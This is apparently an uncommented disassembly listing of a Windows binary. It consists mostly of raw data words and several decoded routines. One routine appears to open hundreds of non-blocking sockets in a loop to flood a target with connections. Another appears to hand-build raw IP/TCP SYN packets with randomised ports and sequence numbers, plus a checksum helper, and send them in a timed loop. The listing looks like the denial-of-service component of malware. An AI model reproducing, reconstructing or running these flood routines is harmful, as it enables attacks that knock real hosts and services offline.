		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 7C15FFFCh,	0FF004CBAh
		dd 4CB97815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43793468h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022FC2h, 15FFFC75h, 4CBA7Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E868h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22FC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 6C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 2415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 6815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 2468FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Fh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8FCh, 0C0753B46h,	75FFDA7Ch, 9C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F868h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 65E85359h, 90022FC0h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 12E89000h
		dd 500229CCh, 82E7E8h, 116A5900h, 26A026Ah, 0BA6415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA24h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA6815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7868FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Fh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9E4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA4815h, 0D875FF00h, 28C344E8h
		dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0E415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4C68FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 2FBE4FE8h
		db 2, 90h
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7AA068FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0B1E89056h, 5F022FBDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 26A0475h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437ACCh, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2FBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB954
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA88
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9E4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9E4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9E4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9E4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27E03BCh
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27E0131h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9E4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9E4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9E0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9E4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA48
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27E0131h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AF4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA7C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB93C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 2415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 1468FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22FB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9F815FFh, 75FF004Ch
		dd 6815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA64h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0C415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9E415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0E415FF50h, 56004CB9h, 0E2458966h
		dd 0B9E415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA4815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA7C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA64h
		dd 89FFF883h, 6675FC45h, 0B97815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2C68FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 2FB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CB9C415h, 0FFF88300h, 15FF6675h, 4CB978h
		dd 0C0858D50h, 68FFFFFBh, 437BF4h, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022FB4h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CBA2415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BD468h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22FB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9E4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA2415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9E415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA2415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0E415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0E415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9E015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D8h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEF0h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE8h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9E4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0E415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA4815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 7C15FFFCh, 0FF004CBAh, 4CB97815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B8468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h
		dd 90022FB1h, 0FFFC75FFh, 4CBA7C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B3468h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 0E8535959h, 22FB0FCh
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 2415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C6068FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
